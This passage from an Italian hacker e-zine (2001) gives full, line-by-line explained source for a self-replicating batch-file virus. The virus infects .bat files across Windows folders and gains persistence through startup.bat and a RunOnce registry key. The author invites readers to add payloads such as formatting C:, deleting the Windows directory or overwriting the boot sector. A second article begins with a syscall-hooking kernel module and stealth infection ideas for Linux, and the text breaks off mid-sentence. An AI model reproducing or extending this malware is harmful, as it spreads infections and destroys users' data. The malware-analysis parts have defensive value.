Il contenuto della variabile %1 ... %9 Parametri dati al file batch %0 Nome del file batch SHIFT Shifta a sinx i parametri, perdendo il primo. CALL programma Esegue un programma esterno e poi ritorna Esempio sul'uso delle variabili: set NOME=Bill Gatez setta la var 'NOME' if "%NOME%"=="Bill Gatez" echo Frocio! test che tutti capiscono ;) set NOME= cancella la variabile Se una variabile non viene pulita, rimane anche dopo l'esecuzione del batch. Per la cronaca e' anche possibile 'inventarsi' delle chiamate di funzione in questo modo: set RET=step2 <-- setta una var con la label di ritorno goto function <-- esegui il goto (sarebbe la call) alla funzione :step2 <-- label di ritorno . . . . . . :function <-- funzione echo Ciao mamma! goto %RET% <-- ret E questo e' tutto! EEhh? COOOOME? Tutto qui??? Ebbene si'...! Il nostro virusino dovra' sopravvivere in questo ambiente cosi' ostile! Bhe'.. Stara' a noi renderlo almeno VIVIBILE per il nostro bel BATvirino ancora in fasce ;) OBIEZIONI --------- (scdbv = Super Coder Della Boia Vacca) lamer: "Ma ormai siamo nel 2002, c'e' Windows 2000, il mouse le icone, Lara Croft adesso e' una star del cinema! Cosa ce ne facciamo di un FILE BACH? Sei antiCuato!! Adesso ti lancio il mio Morton Antivirus e ti scancello il tuo pipistrello!" scdbv: "Mai sentito parlare di un file chiamato Autoexec.bat o di un dosstart.bat? Proprio sicuro che i nuovi potentissimi ;) sistemi (dis)operativi Microsux NON usino piu' i .bat?? Se non ci sono, basta CREARLI perche' vengano usati all'avvio!" lamer: "Vabbe' autoesec.bat ce l'ho, adesso lo cavo quel virus maledetto! Zac ho aperto risorse del compiuter e l'ho spazzato via anche dal cesto del picnic! Adesso scancello anche questo command.com che mi sembra un altro virus potentissimo. Opla' fatto ora sto riavviando il mio Windows98 bello pulito, che forza!" scdbv: "Oooooh! Che mi hai sconfitto! Che tristezza! Sigh Sob il mio povero virus e' stato debellato.." COSA DIAVOLO FA? ---------------- A dire la verita' non fa quasi niente. O meglio: si replica, vive di vita propria e infetta ogni .bat che trova nella cartella corrente, in C:\, in C:\DOS, C:\WINDOWS o in C:\WINDOWS\COMMAND. L'unico 'danno' e' di accodare un paio di righe di testo in un file temporaneo che cresce ogni volta che un .bat infetto viene lanciato. Vi pare poco? Ecchediamine! Fa pochino per essere un virus? Ma non e' detto che non POSSA fare di piu' :) In fondo e' solo un bambino e serve qualcuno che gli insegni a camminare! Si' perche' anche se gli stumenti sono poverissimi (Bill GAYtes quando ha 'cagato' dos/win forse era stitico, cosi' pochi sono i comandi a disposizione) le possibilita' sono I L L I M I T A T E! Bhe', vediamo come. COME FUNZICA ------------ Il virus e' gia' incorporato in un 'innocuo' file .bat che non fa niente se non scrivere una frase stupida a video. Basta lanciarlo perche' automaticamente venga avviata l'infezione. Il virus cerca file .BAT e li infetta seguendo quest'ordine: 1) Cartella corrente 2) C:\ 3) C:\DOS 4) C:\WINDOWS (\WINNT) 5) C:\WINDOWS\COMMAND (\WINNT\COMMAND) Poi copia una copia (!) di se stesso nella cartella C:\WINDOWS\SYSTEM con il nome di 'STARTUP.BAT' e si va a piazzare nel registro di configurazione di Willoz, in modo da essere lanciato ad ogni riavvio del sistema. Un file .bat infetto, si presenta proprio come un VERO virus: INFECTOR.BAT: +-------------+ | virus |----+ +-------------+ | | file .bat | | | originale | | +-------------+ | |label uscita |<---+ +-------------+ Ma come fa ad infettare altri files senza dei comandi di open/close sui files? Bhe', il segreto e' usare la REDIREZIONE dell'output e un piccolo trucchetto con DEBUG! Per cercare altri files da infettare usa il comando FOR, rilanciando se stesso in modo ricorsivo (!!) per ogni file che ha trovato! Hurg! Okay... se non ci avete capito niente, passiamo ad analizzare il programma passo passo: ECCOLO! ------- <-| BATVIRUS/INFECTOR.BAT |-> @echo off rem BATvirus - The night flyer :)= if exist __virZZ.lck goto __vxzvx0 echo set CMDLINE=%1 %2 %3 %4 %5 %6 %7 %8 %9>__virZZ.lck echo path %PATH%>>__virZZ.lck set WD=\WINDOWS if not exist %WD%\nul set WD=\WINNT if not exist %WD%\nul goto __vxzvEE set CMD=%WD%\COMMAND if %WD%.==\WINNT. set CMD=%WD%\SYSTEM32 PATH %WD%;%CMD%;%WD%\SYSTEM32 for %%x in (*.BAT;\*.BAT;\DOS\*.BAT;%WD%\*.BAT;%CMD%\*.BAT) do call %0 %%x ren __virZZ.lck __virZZ.bat >nul if not exist %WD%\SYSTEM\startup.bat goto __vxzvxE echo REGEDIT4>%TEMP%\mO20sE82.tmp echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]>>%TEMP%\mO20sE82.tmp echo "BATman"="start /m command.com /c \%WD%\\SYSTEM\\startup.bat">>%TEMP%\mO20sE82.tmp regedit /s %TEMP%\mO20sE82.tmp set fn= goto __vxzvxE :__vxzvx0 find "Dedicated to omacni_shciesi " %1 >nul if NOT errorlevel 1 goto __vxzvEE set fn=%0 if not exist %fn% set fn=%0.bat copy %fn% __virii.bat >nul goto __vxzvx1 rcx 68a w q :__vxzvx1 debug <%fn% __virii.bat >nul if not exist __virii.bat goto __vxzvEE if exist %WD%\SYSTEM\startup.bat goto __vxzvx2 copy __virii.bat %WD%\SYSTEM\startup.bat >nul echo :__vxzvEE>>%WD%\SYSTEM\startup.bat :__vxzvx2 type %1 >>__virii.bat copy __virii.bat %1>nu l del __virii.bat>nul echo :__vxzvEE>>%1 set fn= goto __vxzvEE :__vxzvxE if exist %TEMP%\BIGSPACE.SWP attrib -r -s -h %TEMP%\BIGSPACE.SWP echo Hello, i'm a BATvirus :)>>%TEMP%\BIGSPACE.SWP echo i'M fUCKiNg YOuR WIndOWz spACe>>%TEMP%\BIGSPACE.SWP echo mO, yOU arE a BEauTIfUl GirL :)>>%TEMP%\BIGSPACE.SWP attrib +r +s +h %TEMP%\BIGSPACE.SWP call __virZZ.bat del __virZZ.bat >nul set WD= set CMD= @echo off echo +-----------------------------+ echo ! Hello i'm an infected file! ! echo ! I do nothing :)) ! echo +-----------------------------+ echo. :__vxzvEE <-X-> ANALISI SORGENTE ---------------- @echo off rem BATvirus - The night flyer :)= > hem, questo non lo commento :/ if exist __virZZ.lck goto __vxzvx0 > L'istruzione controlla l'esistenza di un file (__virZZ.lck) e in caso il > file esista, salta ad una label (__vxzvx0) > Questo mi serve per pilotare l'azione del virus durante l'infezione di > un gruppo di files. Se il file '__virZZ.lck' e' presente, significa che > il virus sta eseguendo la ricerca di altri files da infettare ed e' > all'interno di un ciclo FOR. Capiremo piu' avanti! echo set CMDLINE=%1 %2 %3 %4 %5 %6 %7 %8 %9>__virZZ.lck echo path %PATH%>>__virZZ.lck > Se il file di lock non esiste, allora iniziamo l'infezione! > Con questa istruzione facciamo 2 cose: > 1. Diciamo al virus che siamo nella fase di infezione > 2. Ci salviamo la commandline originale, che verra' compromessa in > seguito dall'azione del virus, e la path corrente. set WD=\WINDOWS if not exist %WD%\nul set WD=\WINNT if not exist %WD%\nul goto __vxzvEE set CMD=%WD%\COMMAND if %WD%.==\WINNT. set CMD=%WD%\SYSTEM32 PATH %WD%;%CMD%;%WD%\SYSTEM32 > Questo e' facilotto: settiamo la dir root di willoz e la command a seconda > che siamo o meno su 95/98/NT/2000 e settiamo la path. Questo perche' nel > caso di infezione dell'autoessic.bat NON avremo pattha settata (in teoria) for %%x in (*.BAT;\*.BAT;\DOS\*.BAT;%WD%\*.BAT;%CMD%\*.BAT) do call %0 %%x > Il succo di questo comando e': Esegui '%0' (cioe' te stesso) ogni volta che > trovi un file .BAT in una delle cartelle specificate. > Cosa succede a questo punto? La CALL di se stesso fa tornare il controllo > all'inizio del batch. Ma a differenza della prima volta che e' stato > lanciato, ora esiste il file __virZZ.lck e il flusso del programma sara' > quindi un altro! > Seguiamolo: :__vxzvx0 find "Dedicated to omacni_shciesi " %1 >nul if NOT errorlevel 1 goto __vxzvEE > Qui controlliamo che il file batch da infettare ('%1') non sia gia' stato > infettato. Il comando 'find' (find /? x i dettagli) cerca una stringa in > un file e restituisce la variabile ERRORLEVEL=1 se NON l'ha trovata o > =0 se l'ha trovata. > Per cui se TROVA la stringa (cioe' se errorlevel NON e' 1), NON deve > infettare il file, per cui esce. set fn=%0 if not exist %fn% set fn=%0.bat copy %fn% __virii.bat >nul goto __vxzvx1 > Se siamo arrivati qui e' perche' abbiamo un bel file da infettare :) > Le prime due istruzioni si occupano di costruire il nome COMPLETO di se > stesso, perche' se io al prompt dei comandi lancio C:\>INFECTOR, la > variabile '%0' conterra' 'INFECTOR', senza l'estensione '.BAT' propria del > file. Qui serve l'ESATTO NOME DEL PROGRAMMA per poter eseguire una copia > di se stesso ed iniziare l'infezione. > Il problema che si presenta ora e' che non esiste in dos un comando tipo > il cut / grep / awk per manipolare gli stream di i/o. > Come facciamo a copiare solo la parte del virus che ci interessa e non > l'intero file batch? > Le istruzioni che seguono sono la risposta! rcx 68a w q :__vxzvx1 debug <%fn% __virii.bat >nul > Che *az**0 sono?? > Bhe', per capirle occorre dire 2 parole su un comando **magico**: DEBUG! > > ---- aperta parentesi tonda ---- > Non spieghero' il funzionamento del programma e su come farvi con lui magari > un VERO virus (ad es: un bel TSR di quelli d'una volta ;P): vi basti sapere > che, oltre a eseguire dei veri e propri programmi assembler (se programmate > in asm!), potete usare debug semplicemente per manipolare dei files. > Provate a digitare DEBUG+[INVIO]: vi comparira' il prompt '-'. Digitate > ora '?' per avere un breve help... poi sbizzarritevi! > ---- chiusa parentesi tonda ---- > > Quello che c'e' da sapere e' che debug accetta la redirezione dell'i/o. > Il comando debug <%fn% __virii.bat >nul significa: > esegui debug, aprendo il file '__virii.bat' e utilizzando i comandi > contenuti nel file %fn% e non far vedere quello che fai! > Ma che comandi contiene %fn%? > Ricordate? %fn% siamo noi! > Debug ignorera' tutti i comandi batch dall'inizio del file > (i vari @echo off, rem blablabla...) come comandi non riconosciuti, fino a > che non incontra' gli unici comandi che comprende: > rcx > 68a > Queste due righe sono in realta' un'unica istruzione, che assegna al > registro CX il valore (hex) 69d. > > ----- aperta parentesi tonda ----- > Cosa sono i registri? Sono le variabili usate dalla CPU (e da noi ;) ) > x memorizzare dei dati/puntatori. Nel caso di debug, la coppia di registri > AX:CX contiene la dimensione del file che e' attualmente caricato > in memoria. > ----- chiusa parentesi tonda ----- > > Il valore '68a' e' l'ESATTA dimensione del virus, tranne che per l'ultima > istruzione che vedremo dopo. > Quindi, se modificate il virus in qualche modo, okkio alle dimensioni! > Dunque, le istruzioni: > w (Write, scrive il file troncandolo alla dimensione di AX:CX) > q (Quit, esce da debug) > > Zac! Ora abbiamo il file __virii.bat che contiene la parte del virus da > trasmettere al mondo intero. Il piu' e' veramente fatto! > Ora non ci resta che usare la redirezione per incollare i vari pezzi del > puzzle e dare il via alla piu' grande infezione della storia ( 8D )! if not exist __virii.bat goto __vxzvEE if exist %WD%\SYSTEM\startup.bat goto __vxzvx2 copy __virii.bat %WD%\SYSTEM\startup.bat >nul echo :__vxzvEE>>%WD%\SYSTEM\startup.bat :__vxzvx2 > Bhe' questo e' semplice! La prima istruzione controlla che non ci sia stato > 1 errore di i/o sul disco e non sia stato creato il file __virii.bat. > La seconda riga installa una copia del virus sotto "mentite spoglie", cioe' > come startup.bat nella cartella SYSTEM di willoz. type %1 >>__virii.bat copy __virii.bat %1>nul del __virii.bat>nul > Ecco l'infezione! Il file da infettare viene accodato al virus con il primo > comando type, usando la redirezione dell'output. Poi il file da infettare > viene sostituito con quello infettato e la copia vecchia viene eliminata. echo :__vxzvEE>>%1 > Questa istruzione accoda la label di uscita di errore usata dal virus. > Dev'essere l'ultima label senno' quando il virus esce fa del casino. :__vxzvxE if exist %TEMP%\BIGSPACE.SWP attrib -r -s -h %TEMP%\BIGSPACE.SWP echo Hello, i'm a BATvirus :)>>%TEMP%\BIGSPACE.SWP echo i'M fUCKiNg YOuR WIndOWz spACe>>%TEMP%\BIGSPACE.SWP echo mO, yOU arE a BEauTIfUl GirL :)>>%TEMP%\BIGSPACE.SWP attrib +r +s +h %TEMP%\BIGSPACE.SWP > Ok queste sono le 4 cagate che fa il virus di danno! > Sisisisi e' molto lamah, lo so ma e' solo un esempio dimostrativo. > Far danni non e' la mia massima aspirazione :) comunque qua in mezzo potete > metterci quello che volete! Il solo limite e' la vostra fantasia (malata). call __virZZ.bat del __virZZ.bat >nul set WD= set CMD= > Qui vengono ripristinate le variabili CMDLINE e PATH ai valori originali. > Hu? Ma da dove sbuca il file __virZZ.bat? Lo vedremo in seguito... @echo off echo +-----------------------------+ echo ! Hello i'm an infected file! ! echo ! I do nothing :)) ! echo +-----------------------------+ echo. > Questo e' il primo file batch infettato! Non fa molto! :P :__vxzvEE > Label di uscita per errori del virus. > Ritorniamo ora un po piu' su; Quando il virus ha terminato l'infezione > controllando tutte le cartelle che deve controllare, cosa fa? > Bhe', si assicura (come ogni buon virus deve fare) di poter essere lanciato > almeno una volta all'avvio del sistema, cosi' tanto per andar via pari... ren __virZZ.lck __virZZ.bat >nul > Questa riga semplicemente toglie il lock (il virus entra cioe' nella fase > 'distruttiva', dopo aver completato l'infezione). > NB: Il file di lock NON viene cancellato perche' contiene il settaggio delle > variabili d'ambiente CMDLINE e PATH ORIGINALI per ripristinarle (come gia' > visto) all'uscita del virus. if not exist %WD%\SYSTEM\startup.bat goto __vxzvxE echo REGEDIT4>%TEMP%\mO20sE82.tmp echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]>>%TEMP%\mO20sE82.tmp echo "BATman"="start /m command.com /c \%WD%\\SYSTEM\\startup.bat">>%TEMP%\mO20sE82.tmp regedit /s %TEMP%\mO20sE82.tmp set fn= goto __vxzvxE > Qui il virus si installa nel registro di configurazione di willoz in modo > da essere lanciato ad ogni riavvio del sistema. Ho scelto la cartella > RunOnce perche' e' poco usata :) > Solo una nota: il file %TEMP%\mO20sE82.tmp NON viene cancellato! > Non e' un errore... e' che se cancellassimo il file temp subito dopo aver > lanciato regedit, il file verrebbe cancellato PRIMA di essere letto dal > regedit stesso, causa il multitask di windows. > Schemino: > > a) regedit /s %TEMP%\mO20sE82.tmp REGEDIT e' caricato in memoria. > b) del %TEMP%\mO20sE82.tmp Il file .tmp e' cancellato. > c) REGEDIT cerca di aprire il .tmp > che non c'e' piu' e da' errore. > Bisognerebbe eseguire: start /w regedit /s blablabla, per far si' che > il programma attenda la fine del regedit PRIMA di proseguire. > Questa NON mi sembra una buona idea... preferisco lasciare un .tmp che > non sara' comunque facilmente individuabile. Ok siamo alla fine! Non ci avete capito 1 palazzo? Ok, forse non e' cosi' facile (edaaaai che non e' neanche difficile, no?) ma... provate, gente, provate! IDEE MALSANE ------------ Dicevamo che teoricamente si puo' fare di tutto! Cosa significa? Bhe', alcune implementazioni potrebbero essere: 1) Scatenare un evento in base alla DATA DI SISTEMA echo. | date | find "20/09" >nul if not errorlevel 1 blablabla... 2) Formattazione dell'HDD echo s|format c: 3) Infezione di ogni .bat presente nelle SOTTOCARTELLE (o in tutto l'hdd) dir *.bat /s >batlist.txt 4) Cancellazione di interi rami di directory deltree c:\windows /y 5) 'Cavare' il boot sector echo w 0000 2 0 3 >fuckboot.cmd echo q>>fuckboot.cmd debug nul 6) Per i piu' maliziosetti che gia' codano in .asm, provate questo: c:\>edit demo.src a 100 mov ah, 9 mov dx, 200 int 21 xor ax, ax int 16 int 20 a 200 db "Hello! I'm a fucked virus... :)-",d,a,"$" rcx 122 (dimensione prg= 222 - 100h = 122 il xche' non ve lo spiego :)) n demo.com w q c:\>debug demo Hello! I'm a fucking virus... :)- ...e poi viaggiate di fantasia! 7) Per chi ama i vari javascript o vbscript: if exist c:\windows\wscript.exe goto __scriptz :__scriptz rem Per come fare, date un'occhiata all'antivirus fornito in allegato :) 8) Nei link window, sostituire le chiamate ad alcuni comandi con dei batch che lancino i comandi veri. Es: explorer.lnk --> explorer.exe explorer.lnk --> explorer.bat --> explorer.exe Bhe', a questo sto lavorando per la versione II di BATvirus, ma piazzo qui l'idea tanto per far capire le potenzialita' di questo scriptino. DA FARE ------- . Velocizzare il virus, NON ricreando tutte le volte il file __virii.bat . Fixare alcune pecche (macroscopiche) allo startup di willoz CONCLUSIONE ----------- Ok spero di non aver incasinato troppo il tutto. L'idea di base non e' mia e non so se sia gia' stata implementata da altri, ma fino ad ora di virus cosi' non ne avevo mai visti, per cui... Si' lo so che questo virus e' lento, visibilissimo e nemmeno troppo elegante, ma vuol essere di sprono per tutti coloro che operano in ambienti ostili e che si sentono "inferiori" al loro colleghi che possono tranquillamente codare in asm/c e far danni di brutto avanti e indietro con stealth, polymorphic, pe infector, VxD fucher and so others...: Ragazzi, non mollate e studiate bene le vostre 'prede' che non si sa mai ;) SALUTI ------ .) Un saluto a tutto lo staff BFi.. non so se arriverete fino in fondo a quest'ammasso di parole sconclusionate che chiamo "articolo", cmq se solo avete letto questo "CIA0" ho raggiunto meta' del mio scopo ;). .) Un saluto particolare ad una persona che non lo sentira' mai (almeno non da qui :P ) e alla quale ho dedicato un file .tmp: mO20sE82! .) Un altro saluto alla mia girlz 8-* smack! .) Una frase per Paco, che e' agli inizi dello smanettamento: "Il computer e' sotto il controllo totale di Pacho!" Visto cosa si puo' fare con un semplice file batch? <-| BATVIRUS/BATAV.BAT |-> @echo off @echo BATAV v1.0 - Anti Viral ToolKit for BATman virus :) - sKIZoidE @echo. @if %1.==. goto end @type %0.bat | find /v "%0"| find /v "@" | find /v ":end" >__a.vbs @cscript __a.vbs %1 //nologo @echo. @del __a.vbs>nul @if exist c:\windows\system\startup.bat del c:\windows\system\startup.bat >nul @if exist c:\winnt\system\startup.bat del c:\winnt\system\startup.bat >nul @goto end On Error Resume Next Set WS = CreateObject("WScript.Shell") Set FS= Createobject("Scripting.FileSystemObject") VIRLEN=54 'nr of rows of BATvirus set arg=WScript.Arguments if arg.length=0 then WScript.Quit() end if WScript.Echo "Scan Folder: ["&arg.Item(0)&"]"&vbCrLf set fold=FS.GetFolder(arg.Item(0)) if fold=null then WScript.Quit() for each fn in fold.Files if InStr(1, Ucase(fn.name), ".BAT") then WScript.Echo "Scan file "&fn.name clean fn.Path end if next WS.RegDelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\BATman" Set FS=Nothing Set WS=Nothing Sub clean(n) set inf = FS.OpenTextFile(n, 1) cnt=0 buff="" b="" flag=0 Do While Not inf.AtEndOfStream cnt = cnt + 1 b = inf.ReadLine if InStr(1, b, "Dedicated to omacni_shciesi ") then flag=1 if cnt > VIRLEN and b <> ":__vxzvEE" then buff = buff&b&vbCrLf end if Loop inf.close if flag <> 0 then WScript.Echo " -----) cleaned (" Set out=FS.OpenTextFile(n, 2, true) out.write buff out.close end if End Sub :end <-X-> ============================================================================== --------------------------------[ EOF 16/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-170100644000175000017500000003555707355704712012655 0ustar smastersmaster ============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 17 di 18 ]------------- ============================================================================== -[ ViRii ]-------------------------------------------------------------------- ---[ ANALiSi ViRUS PER LiNUX -----[ vecna - NOTA BENE - io non sono Vecna dei 29a, lui e` un virii coder con le palle e penso che questa chiarificazione tolga nebbia dagli occhi dei virii coder seri che sperano di trovar un lavoro del mito invece che 4 parole del suo omonimo provincialotto :P requisiti: http://www.manuali.net cercare TrickyC http://www.big.net.au/~silvio per qualche info di vario genere sui virus... non sono la persona + indicata a dar consigli, ma tempo fa trovai parecchie informazioni su www.avpve.com (avpve = anti viral protection VIRUS ENCICLOPEDIA) con una buona descrizione su una caterva di virus, almeno puo` servire x dare idee o per far capire di cosa si parla... (ammetto che l'ultima volta che l'ho visitato e` stato nel '98) --] SISTEMI DI INFEZIONE PER BAMBINI MONGOPLETTICI BASATI SU system() [-- questo e` proprio alla base di ogni possibile virus che viene costruito, non e` altro che un codice che fa qualcosa e poi esegue il file cui ha wrapperato l'esecuzione. un esempio molto terra terra e` dato da un virus di silvio cesare all'inizio dei suoi studi; come universalmente deducibile questi virus fan solo: * sono eseguito? bene, cerco una vittima dove insediarmi. (serie di readdir()/getdents() per trovar una vittima) * e` gia` infetto? (verifica, a seconda del tipo di infezione che si vuole portare, se mettere l'eseguibile originario in append al nostro virus per poi estrapolarlo dal binario ed eseguirlo o se metterlo con un nome tipo /tmp/.hash_md5_del_nome_del_file_infetto in tmp. nel caso sia gia` infetto si cerca un'altra vittima considerando un numero massimo di tentativi; se non e` infetto si infetta e si salta al prossimo punto) * dopo essermi eseguito e aver proliferato, estrapolo dal binario con dentro me il file che ho infettato o grazie all'hash ritrovo dove l'ho messo o continuo ed essere eseguito xke` l'ho inglobato o faccio un jmp al posto giusto o [altre possibilita`, dipende dal tipo di infezione che avete implementato] e avvio il file realmente chiamato dall'utente. la cosa triste e` che se si usa system, come succedeva in alcuni virus, la system include una fork quindi se uno avvia il proprio binario e dopo un po' lancia un ps notera` che ci sono 2 processi al posto di uno e normalmente ci si insospettisce :) un'ottima variante di questo e` quella che utilizza la exec* senza fork()are prima (la system e` una fork() seguita da una exec* praticamente) per caratteristica delle funzioni della famiglia exec* il file eseguito sovrascrivera` il vecchio processo: questo impedisce quindi l'esecuzione di comandi da parte del virus una volta terminata l'esecuzione del file infetto, ma se state progettando qualcosa che si puo` accontentare dell'esecuzione prima dell'avvio allora e` una soluzione valida. attenzione che exec una volta avviata da` al processo il nome che vien passato come argomento, un errore abbastaza fixabile e notoriamente vistoso nei virus di silvio cesare (maestro su ogni fronte cmq e sempre :) era il fatto che la exec* veniva fatta su un file temporaneo che conteneva il file infettato che poi xo` doveva essere rimosso, x questo motivo spesso viene utilizzata la exec* e x questo motivo ho suggerito di usare un file nascosto in tmp: occultandolo tra i file temporanei sara` possibile avviarlo con un nome diverso senza dover eliminarlo una volta finita l'esecuzione e senza quindi dover usare una system x poterlo rimuovere. --] SISTEMI DI INFEZIONE PER GIOVANI DONNE CRESCONO CON GLI ELF [-- studiando il formato ELF e` possibile dare un significato alle varie zone di dati che stan dentro un comune binario, queste zone in seguito all'avvio del compilato verrano interpretate e lette dal kernel, ma questo non vieta a nessuno di inserire una parte di codice automodificante in una apposita sezione nel binario reale in modo da eseguire questa parte di codice in modo + trasparente e veloce, senza preoccuparsi di exec* e fork di sorta... per maggiori info vi rimando al sito di silvio cesare (o cercare su google l'archivio della mailing list unix-virus). c'e` da dire che anche questo genere di infezione altera il binario ed un eventuale md5sum o qualunque altro integrity check sui binari rivelera` l'infezione. come ottenere informazioni su *cosa viene eseguito* se l'engine di duplicazione e` cosi` trasparente? con strace! e` proprio strace(1) il semplicissimo comando che speravo di usare durante l'analisi di un virus che mi fu passato, l'analisi del suddetto e` stata pubblicata da un altro tizio prima di me ed e` reperibile su BUGTRAQ, la mail ha come subject "Remote Shell Trojan: Threat, Origin and the Solution" xke` questo virus a differenza di un semplice polimorfico se e` la prima volta che viene avviato si mette in background in listen su una porta udp attendendo che qualcuno comunichi con lui per favorire della shell gentilmente regalata :) --] L'ARRIVO DELLE TRUPPE DI PTRACE(2) E LE SUE TECNICHE DI BATTAGLIA [-- strace e` uno strumento che si appoggia alla ptrace(2) apposta x poter tracciare le system call chiamate da un programma, questo bene o male non dara` informazioni dettagliatissime sul programma che sta girando, ma perlomeno consentira` di apprendere le cose principali che fa. e` evidente che un binario infetto dovra` far qualche chiamata di sistema per poter proliferare, sicuramente la getdents o la reddir per poter scannare alla ricerca di nuovi file vittima, probabilmente leggera` se stesso x potersi copiare e aprira` la vittima... senza contare l'apertura di eventuali porte udp :) o altri attacchi sicuramente individuabili da questo mezzo. strace e ogni programma che si appoggia a ptrace xo`, puo` essere fregato proprio grazie ad una chiamata ptrace da parte del codice che vogliamo rendere *invisibile* e purtroppo x me... questo virus lo faceva... informazioni di vario genere x rendere il proprio codice invisibile agli occhi di un debugger si trovano sempre sul sito si silvio cesare, con il nome di linux-anti-debugging.txt, in cui spiega essenzialmente 5 tecniche tra cui una in cui la ptrace viene chiamata per sviare il debug... per monitorare le syscall stavo facendo un modulo che wrapperasse le principali syscall e riportasse gli argomenti, in questo caso ptrace o no io avrei visto cmq quello che ogni programma (o tramite una selezione per pid o per nome di file, solo il programma che sapevo fosse infetto) avrebbe fatto. dopo un po' di ore mi sono accorto di quanto fossi stupido a non accorgemi prima che potevo far tutto semplicemente bloccando la ptrace via lkm e usando strace normalmente... bah... ecco qui il modulo: <-| kantiptrace.c |-> /* * module for debug linux virus and other program that over ptrace(2) drop * debug system. * on this stupid release the code of fork() is bad and you needed for make * to kernel segnalation of evil code, rename this file with "evil" name, * that is detected via execve redirection. * * after loading of this module you can simple use strace with * strace ./evil * command and ptrace appears uncalled * * by vecna@s0ftpj.org - ??/09/2001 more or less */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include int (*linux_execve)(struct pt_regs); /* int (*linux_fork)(); */ int (*linux_exit)(int); int (*linux_ptrace)(long request, long pid, long addr, long data); extern void *sys_call_table[]; static int virii, child; static int ktrace_execve(struct pt_regs exc) { int ret; char *filename =getname((char *)exc.ebx); ret =do_execve(filename, (char **)exc.ecx, (char **)exc.edx, &exc); if(strstr(filename, "evil")) { virii =current->pid; printk(KERN_INFO "monitoring of pid %d\n", virii); } return ret; } static int ktrace_exit(int err) { if(current->pid ==virii) { printk(KERN_INFO "pid %d program exit\n", virii); virii =0; if(child !=0) { printk(KERN_INFO "tracing child %d\n", child); virii =child; child =0; } } return linux_exit(err); } /* static int ktrace_fork() { int ret; ret =linux_fork(); if(current->pid > 1 && virii && current->pid ==virii) { printk(KERN_INFO "forking from %d child %d\n", virii, ret); child =ret; } return ret; } */ static int ktrace_ptrace(long request, long pid, long addr, long data) { printk(KERN_INFO "ptrace da %d con pid %d\n", current->pid, pid); if(current->pid && virii && (current->pid == virii || current->pid == virii +1)) return 0; return linux_ptrace(request, pid, addr, data); } int init_module(void) { printk(KERN_INFO "loading anti ptrace module by vecna@s0ftpj.org\n"); linux_execve =sys_call_table[SYS_execve]; sys_call_table[SYS_execve] =(void *)ktrace_execve; linux_exit =sys_call_table[SYS_exit]; sys_call_table[SYS_exit] =(void *)ktrace_exit; /* linux_fork =sys_call_table[SYS_fork]; sys_call_table[SYS_fork] =(void *)ktrace_fork; */ linux_ptrace =sys_call_table[SYS_ptrace]; sys_call_table[SYS_ptrace] =(void *)ktrace_ptrace; return(0); } void cleanup_module(void) { printk(KERN_INFO " unloading ktrace module\n"); sys_call_table[SYS_execve] =(void *)linux_execve; sys_call_table[SYS_exit] =(void *)linux_exit; /* sys_call_table[SYS_fork] =(void *)linux_fork; */ sys_call_table[SYS_ptrace] =(void *)linux_ptrace; } <-X-> la parte del codice che segue eventuali figli e` errata, cmq consente di usare sia strace che gdb che ogni altro debugger che altrimenti verrebbe fermato. a questo punto si potrebbe parlare di come si fa l'analisi di un virus, ma praticamente e` tutto deducibile dalla man page di strace e dal significato delle singole syscall x capire cosa fa il virus stesso. --] CONSIGLI DELLA CASA PER INFEZIONI + STEALTH [-- putroppo non ho tempo x far sta roba, ma sono convinto che semplicemente toccando il path di /bin x l'utente infetto in ~/.hidebid, facendo a poco a poco una copia di tutti i binari normalmente utilizzati tipo ls, ps, pstree, find, normalmente utilizzati x riscontare le *anomalie* che invitano a un debug + approfondito, si puo wrapperare l'output in modo da poter senza troppi problemi eseguire processi in bg, far proliferazioni o attacchi + pesanti ecc... considerando che l'output di quei programmi sarebbe alterato dal virus stesso che non consentirebbe quindi all'utente di ottenere spunti di alcun genere per sospettare dell'infezione (a meno che l'utilizzo di un ps axf da parte di un altro utente... dipende sempre cosa si sta cercando di attaccare cmq...). una volta infettati i binari o eventuali file di configurazione personali (il .fetchmailrc ? il .procmailrc sono tutti file di conf che possono consentire l'esecuzione di comandi da remoto in certi casi se adeguatamente modificati, anche questo potrebbe essere un sistema di infezione ed un sistema x assicurarsi l'accesso remoto ad una macchina virata. ed e` possibile occultare la vista di questi file facendo un wrapper a pico/vi/cat/less/more e ai comuni sistemi di visualizzazione di file, in modo che se si richieda l'apertura del file infetto si possa ripristinare l'originale e rimettere la versione infetta dopo l'uscita del programma chiamato. questo e` possibile xke` automatizzabile (quindi implementabile in un virus senza l'ausilio di AI :) e abbastanza stealth xke`, tranne nel caso di una workstation di casa, i mezzi per individuare la modifica di un file binario nella propria homedir possono essere rediretti verso propri binari infetti che non diano informazioni riguardo l'alterazione degli stessi. questo inserirebbe il problema di virus troppo grossi, ma non significa che un file wrapperato debba aver tutto il virus presso di se`, se deve essere infettato un file particolare (ls, ps, ecc...) puo` esser fatto con la parte di codice relativa a se`, senza necessitare il resto. poi la parte polimorfica che sta in questi codici potrebbe prendere il corpo principale del virus, x altre eventuali infezioni da un altro file (non necessariamente se stesso)... un altro punto abbastanza interessante dei virus e` che nulla nega a un file eseguibile di un utente di essere eseguito da un altro utente... gia` in certe distribuzioni di default le home degli utenti sono leggibili a tutti quello dello stesso gruppo, questo non puo` far altro che aumentare la proliferazione del virus, che, cosa da non dimenticare, ha come scopo quello di essere infettato prima o poi dal root e installarsi in un bel /bin/ls o binari avviati con la stessa frequenza :) o far come spiegato sul sito dei THC nel tut sui moduli x il kernel di linux in cui si trova un cenno ai virus sotto forma di LKM, cosa potenzialmente molto + dannosa *se* ben programmata (altrimenti e` dannosa si`, ma in termini di kernel panic...). --] DIFESE SPICCIOLE CONTRO L'ARRIVO DI QUESTE PICCOLE SPORE ? [-- ogni virus tocca l'md5sum, si potrebbe mettere un semplice check dei propri file di conf e dei propri binari (esclusi dal check dei file di sistema) se si e` utenti paranoici e se si e` capaci di fare uno script... in questo caso la modifica dei nostri binari saltera` subito fuori. un altro caso che non ho trattato prima e` quello che un virus infetti anche i sorgenti oltre che i binari... non i sorgenti con l'intero codice del virus xke` e` possibile, ma e` abbastanza stupido mettere in 